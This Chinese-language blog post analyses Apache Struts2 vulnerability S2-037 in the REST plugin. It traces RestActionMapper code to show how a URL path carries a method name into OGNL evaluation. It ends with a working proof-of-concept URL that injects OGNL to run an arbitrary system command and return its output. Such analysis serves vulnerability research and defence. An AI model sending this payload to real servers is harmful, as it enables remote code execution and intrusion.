2017-11-03-struts2漏洞调试合集之S2-037

#介绍
其实这个037就是033的绕过,虽然点不一样,033需要开启动态函数调用,但是037找到了不需要开启动态函数的地方。 官方的说明,在启用rest时,可能会造成远程代码执行,rest最近也出了一个xml反序列漏洞,具体的漏洞原因可以看我的前几次文章。http://www.codersec.net/2017/09/s2052%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%92%8C%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90/。基本可以定位了,那就是直接分析struts2-rest-plugin了。 #分析
好在struts2-rest-plugin代码量不多,如果分析过s2-052的也知道。插件的一些知识点 其实最终的触发点和之前分析的s2-032是一样的,都是在DefaultActionInvocation里的OgnlUtil.callMethod里面触发。那么追究其原因,就是在向ActionMapping放入键值对的时候没有过滤好。在RestActionMapper.java 的getMapping处下断点。 我把关键代码贴出来,代码的运行过程满满地描述出来

    ActionMapping mapping = new ActionMapping();  
    String uri = RequestUtils.getUri(request);
        uri = dropExtension(uri, mapping);//除去url后缀,将/order/233.xml(xml,xhtml,json,'')去掉,如果url不是这类的,就返回404,其中xml,json,xhtml这类格式的都是用来做接口用的,如果不是这类的后缀,那么uri为空,这样下一步的if就直接return结束了,直接404
        if (uri == null) {
            return null;
        }
        parseNameAndNamespace(uri, mapping, configManager);//解析map的名字和空间
        handleSpecialParameters(request, mapping);//处理特殊的参数
        if (mapping.getName() == null) {
            return null;
        }
         // handle "name!method" convention.
        handleDynamicMethodInvocation(mapping, mapping.getName());//解析动态方法调用,这里是重点!!!!!!
        String fullName = mapping.getName();
        // Only try something if the action name is specified```
下面继续看handleDynamicMethodInvocation函数

private void handleDynamicMethodInvocation(ActionMapping mapping, String name) { int exclamation = name.lastIndexOf(“!”); if (exclamation != -1) { mapping.setName(name.substring(0, exclamation));//获取name if (allowDynamicMethodCalls) { mapping.setMethod(name.substring(exclamation + 1)); } else { mapping.setMethod(null); } } }

如果开启了动态调用,那么mapping.setMethod就设置进去,后面的执行就和s2-032一样了,这个是s2-033的点。如果设置动态调用,直接修改struts.xml就ok了。
![](http://pic.findbugs.top/17-11-6/298879.jpg)
接下来就厉害了,
    ```
String fullName = mapping.getName();
        // Only try something if the action name is specified
        if (fullName != null && fullName.length() > 0) {

            // cut off any ;jsessionid= type appendix but allow the rails-like ;edit
            int scPos = fullName.indexOf(';');
            if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
                fullName = fullName.substring(0, scPos);
            }

            int lastSlashPos = fullName.lastIndexOf('/');
            String id = null;
            if (lastSlashPos > -1) {

                // fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
                int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
                if (prevSlashPos > -1) {
                    mapping.setMethod(fullName.substring(lastSlashPos + 1));
                    fullName = fullName.substring(0, lastSlashPos);
                    lastSlashPos = prevSlashPos;
                }
                id = fullName.substring(lastSlashPos + 1);
            }
    ```
如何让mapping.setMethod执行,其实逻辑也很简单,只需要两个//即可,按照官方给的注释,其实官方的本来意思是想将'actionName/id/methodName'这类url单独解析,提取的函数的方式也就是fullName.substring(lastSlashPos + 1),这样函数名最终被带入到mapping,然后最后经过DefaultActionInvocation里面的OgnlUtil.callMethod之行ongl表达式,poc如下:

http://127.0.0.1:8080/s2-037/orders/4/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=whoami ```